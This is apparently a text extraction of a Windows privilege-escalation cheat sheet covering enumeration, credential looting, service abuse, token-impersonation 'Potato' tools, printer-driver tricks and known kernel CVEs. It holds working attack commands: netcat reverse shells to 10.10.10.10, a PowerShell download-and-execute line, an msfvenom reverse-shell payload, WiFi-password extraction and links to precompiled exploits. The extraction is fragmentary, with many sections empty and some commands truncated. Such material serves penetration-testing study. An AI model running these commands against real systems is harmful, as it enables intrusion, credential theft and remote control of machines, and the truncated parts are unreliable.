Windows Privilege Escalation
Windows Privilege Escalation
Summary
Tools
Windows Version and Configuration
User Enumeration
Network Enumeration
Antivirus Enumeration
Default Writeable Folders
EoP - Looting for passwords
o SAM and SYSTEM files
o HiveNightmare
o LAPS Settings
o Search for file contents
o Search for a file with a certain filename
o Search the registry for key names and passwords
o Passwords in unattend.xml
o Wifi passwords
o Sticky Notes passwords
o Passwords stored in services
o Passwords stored in Key Manager
o Powershell History
o Powershell Transcript
o Password in Alternate Data Stream
EoP - Processes Enumeration and Tasks
EoP - Incorrect permissions in services
EoP - Windows Subsystem for Linux (WSL)
EoP - Unquoted Service Paths
EoP - $PATH Interception
EoP - Named Pipes
EoP - Kernel Exploitation
EoP - Microsoft Windows Installer
o AlwaysInstallElevated
o CustomActions
EoP - Insecure GUI apps
EoP - Evaluating Vulnerable Drivers
EoP - Printers
o Universal Printer
o Bring Your Own Vulnerability
EoP - Runas
EoP - Abusing Shadow Copies
EoP - From local administrator to NT SYSTEM
EoP - Living Off The Land Binaries and Scripts
EoP - Impersonation Privileges
o Restore A Service Account's Privileges
o Meterpreter getsystem and alternatives
o RottenPotato (Token Impersonation)
o Juicy Potato (Abusing the golden privileges)
o Rogue Potato (Fake OXID Resolver))
o EFSPotato (MS-EFSR EfsRpcOpenFileRaw))
EoP - Privileged File Write
o DiagHub
o UsoDLLLoader
o WerTrigger
o WerMgr
EoP - Common Vulnerabilities and Exposures
o MS08-067 (NetAPI)
o MS10-015 (KiTrap0D)
o MS11-080 (adf.sys)
o MS15-051 (Client Copy Image)
o MS16-032
o MS17-010 (Eternal Blue)
o CVE-2019-1388
EoP - $PATH Interception
References
Tools
PowerSploit's PowerUp
powershell -Version 2 -nop -exec bypass IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire
/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local
privilege escalation vulnerabilities
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File
Sherlock.ps1
BeRoot - Privilege Escalation Project - Windows / Linux / Mac
Windows-Exploit-Suggester
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo
win7sp1-systeminfo.txt
windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation
Vectors on Windows Systems
WindowsExploits - Windows exploits, mostly precompiled. Not being updated.
WindowsEnum - A Powershell Privilege Escalation Enumeration Script.
Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks"
relevant from both offensive and defensive security perspectives.
Seatbelt.exe -group=all -full
Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
Seatbelt.exe -group=remote -computername=dc.theshire.local -
computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-
toes\""
Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy
Windows) in mind
JAWS - Just Another Windows (Enum) Script
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename
JAWS-Enum.txt
winPEAS - Windows Privilege Escalation Awesome Script
Windows Exploit Suggester - Next Generation (WES-NG)
# First obtain systeminfo
systeminfo
systeminfo > systeminfo.txt
# Then feed it to wesng
python3 wes.py --update-wes
python3 wes.py --update
python3 wes.py systeminfo.txt
PrivescCheck - Privilege Escalation Enumeration Script for Windows
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -
Extended"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -
Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
wmic qfe
Architecture
set
Get-ChildItem Env: | ft Key,Value
User Enumeration
Get current username
whoami /priv
whoami /groups
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
net accounts
net localgroup
Get-LocalGroup | ft Name
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
Network Enumeration
List all network interfaces, IP, and DNS.
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
route print
Get-NetRoute -AddressFamily IPv4 | ft
DestinationPrefix,NextHop,RouteMetric,ifIndex
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
netstat -ano
List all network shares
net share
powershell Find-DomainShare -ComputerDomain ___domain.local
SNMP Configuration
Antivirus Enumeration
Enumerate antivirus on a box with WMIC /Node:localhost /Namespace:\\root\
SecurityCenter2 Path AntivirusProduct Get displayName
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The
user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM
hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on
HKLM/SAM.
HiveNightmare
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from
it.
LAPS Settings
Passwords in unattend.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml
*unattend.xml *unattend.txt 2>nul.
Example content
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Unattend credentials are stored in base64 and can be decoded manually with base64.
Other files
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
Wifi passwords
Find AP SSID
Oneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^|
find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a
key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
The sticky notes app stores it's content in a sqlite db located at C:\Users\<user>\AppData\Local\
Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using
SessionGopher
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/
SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u ___domain.com\adm-arvanaghi -p s3cr3tP@ss
rundll32 keymgr,KRShowKeyMgr
Powershell History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
Powershell Transcript
C:\Users\<USERNAME>\Documents\
PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike
"svchost*"} | Select Name, Handle,
@{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
List services
net start
wmic service list brief
tasklist /SVC
Startup tasks
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Note to check file permissions you can use cacls and icacls
icacls (Windows Vista +)
cacls (Windows XP)
SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -
e cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any
port (no elevation needed). Don't know the root password? No problem just set the default user to
root W/ .exe --default-user root. Now start your bind shell or reverse.
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Alternatively you can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\
Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\
rootfs\
...
[*] Checking for unquoted service paths...
ServiceName : BBSvc
Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...
# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe
10.10.10.10 4444 -e cmd.exe"
Example
For C:\Program Files\something\legit.exe, Windows will try the following paths first:
C:\Program.exe
C:\Program Files.exe
EXAMPLE:
Using the reg query command, you can check the status of the AlwaysInstallElevated registry
key for both the user and the machine. If both queries return a value of 0x1, then
AlwaysInstallElevated is enabled for both user and machine, indicating the system is vulnerable.
Shell command
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
PowerShell command
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
Metasploit : exploit/windows/local/always_install_elevated
PowerUp.ps1 : Get-RegistryAlwaysInstallElevated, Write-UserAddMSI
CustomActions
Custom Actions in MSI allow developers to specify scripts or executables to be run at various points
during an installation
mgeeky/msidump - a tool that analyzes malicious MSI installation packages, extracts files,
streams, binary data and incorporates YARA scanner.
activescott/lessmsi - A tool to view and extract the contents of an Windows Installer (.msi)
file.
mandiant/msi-search - This tool simplifies the task for red team operators and security teams
to identify which MSI files correspond to which software and enables them to download the
relevant file.
Execute the repair process with the /fa parameter to trigger the CustomActions. We can use both
IdentifyingNumber {E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1} or path to the installer c:\
windows\installer\XXXXXXX.msi. The repair will run with the NT SYSTEM account.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on
"Click to open Command Prompt"
Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to
bypass security controls and carry out attacks. The project helps security professionals stay
informed and mitigate potential threats.
Native binary: DriverQuery.exe
PS C:\Users\Swissky> driverquery.exe /fo table /si
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM
3ware 3ware Kernel 5/18/2015 6:28:03 PM
ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM
AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM
acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM
acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM
AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM
acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM
ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM
<SNIP>
matterpreter/OffensiveCSharp/DriverQuery
PS C:\Users\Swissky> DriverQuery.exe --no-msft
[+] Enumerating driver services...
[+] Checking file signatures...
Citrix USB Filter Driver
Service Name: ctxusbm
Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
Version: 14.11.0.138
Creation Time (UTC): 17/05/2018 01:20:50
Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust
Network, O=Symantec Corporation, C=US
Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix
Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US
<SNIP>
EoP - Printers
Universal Printer
Create a Printer
$serverName = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If
([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
PrinterNightmare
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\
system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\
x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\
W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
PS C:\target> $serverName = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - '
+ $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
EoP - Runas
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Then you can use runas with the /savecred options in order to use the saved credentials. The
following example is calling a remote binary via an SMB share.
The goal of the LOLBAS project is to document every binary, script, and library that can be used for
Living Off The Land techniques.
A LOLBin/Lib/Script must:
Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra
"unexpected" functionality. It is not interesting to document intended use cases. Exceptions
are application whitelisting bypasses
Have functionality that would be useful to an APT or red team
- SeBackupPrivilege (and
Built-in Read sensitve files with
SeBackup Threat robocopy) is not helpful when
commands robocopy /b
it comes to open files.
To be verified.
# https://github.com/itm4n/FullPowers
c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
If the machine is >= Windows 10 1809 & Windows Server 2019 - Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 - Try Juicy Potato
1. Check the privileges of the service account, you should look for SeImpersonate and/or
SeAssignPrimaryToken (Impersonate a client after authentication)
whoami /priv
Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that
identifies a COM class object
Windows 7 Enterprise
Windows 8.1 Enterprise
Windows 10 Enterprise
Windows 10 Professional
Windows Server 2008 R2 Enterprise
Windows Server 2012 Datacenter
Windows Server 2016 Standard
# Network redirector / port forwarder to run on your remote machine, must use
port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and
specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c
"{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs
# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
JuicyPotatoNG
antonioCoco/JuicyPotatoNG
⚠️Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace
information and is programmatically exposed via DCOM. This DCOM object can be used to load a
DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32 directory.
Exploit
Alternative tools:
https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
https://github.com/decoder-it/diaghub_exploit
UsoDLLLoader
⚠️2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)
Exploit
1. Build https://github.com/itm4n/UsoDllLoader
o Select Release config and x64 architecure.
o Build solution.
DLL .\x64\Release\WindowsCoreDeviceInfo.dll
Loader .\x64\Release\UsoDllLoader.exe.
2. Copy WindowsCoreDeviceInfo.dll to C:\Windows\System32\
3. Use the loader and wait for the shell or run usoclient StartInteractiveScan and connect
to the bind shell on port 1337.
WerTrigger
1. Clone https://github.com/sailay1996/WerTrigger
2. Copy phoneinfo.dll to C:\Windows\System32\
3. Place Report.wer file and WerTrigger.exe in a same directory.
4. Then, run WerTrigger.exe.
5. Enjoy a shell as NT AUTHORITY\SYSTEM
WerMgr
1. Clone https://github.com/binderlabs/DirCreate2System
2. Create directory C:\Windows\System32\wermgr.exe.local\
3. Grant access to it: cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f
4. Place spawn.dll file and dircreate2system.exe in a same directory and run .\
dircreate2system.exe.
5. Enjoy a shell as NT AUTHORITY\SYSTEM
exploit/windows/smb/ms08_067_netapi
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread
-b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform
windows
https://www.exploit-db.com/exploits/11199
Metasploit : exploit/windows/local/ms10_015_kitrap0d
# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE
%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe
# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE
%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Check the vulnerability with the following nmap script or crackmapexec: crackmapexec smb
10.10.10.10 -u '' -p '' -d ___domain -M ms17-010.
auxiliary/admin/smb/ms17_010_command MS17-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command
Execution
auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote
Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote
Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec MS17-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
CVE-2019-1388
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Requirement:
Windows 7
Windows 10 LTSC 10240
Failing on :
LTSC 2019
1709
1803
References
icacls - Docs Microsoft
Privilege Escalation Windows - Philip Linghammar
Windows elevation of privileges - Guifre Ruiz
The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
Basic Linux Privilege Escalation
Windows Privilege Escalation Fundamentals
TOP–10 ways to boost your privileges in Windows systems - hackmag
The SYSTEM Challenge
Windows Privilege Escalation Guide - absolomb's security blog
Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs
Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability -
September 18th, 2016 - Robert Russell
Pentestlab.blog - WPE-01 - Stored Credentials
Pentestlab.blog - WPE-02 - Windows Kernel
Pentestlab.blog - WPE-03 - DLL Injection
Pentestlab.blog - WPE-04 - Weak Service Permissions
Pentestlab.blog - WPE-05 - DLL Hijacking
Pentestlab.blog - WPE-06 - Hot Potato
Pentestlab.blog - WPE-07 - Group Policy Preferences
Pentestlab.blog - WPE-08 - Unquoted Service Path
Pentestlab.blog - WPE-09 - Always Install Elevated
Pentestlab.blog - WPE-10 - Token Manipulation
Pentestlab.blog - WPE-11 - Secondary Logon Handle
Pentestlab.blog - WPE-12 - Insecure Registry Permissions
Pentestlab.blog - WPE-13 - Intel SYSRET
Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @xpn
Living Off The Land Binaries and Scripts (and now also Libraries)
Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec
Local Privilege Escalation Workshop - Slides.pdf - @sagishahar
Abusing Diaghub - xct - March 07, 2019
Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of
Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018
Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19,
2019
Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para
Windows
Abusing SeLoadDriverPrivilege for privilege escalation - 14 JUN 2018 - OSCAR MALLO
Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)
ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER
GREAT TRICKS - March 17, 2022 | Simon Zuckerbraun
Bypassing AppLocker by abusing HashInfo - 2022-08-19 - Ian
Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code
IN THE POTATO FAMILY, I WANT THEM ALL - @BlWasp_
Potatoes - Windows Privilege Escalation - Jorge Lajara - November 22, 2020
MSIFortune - LPE with MSI Installers - Oct 3, 2023 - PfiatDe
MSI Shenanigans. Part 1 – Offensive Capabilities Overview - DECEMBER 8, 2022 -
Mariusz Banach
Escalating Privileges via Third-Party Windows Installers - ANDREW OLIVEAU - JUL 19,
2023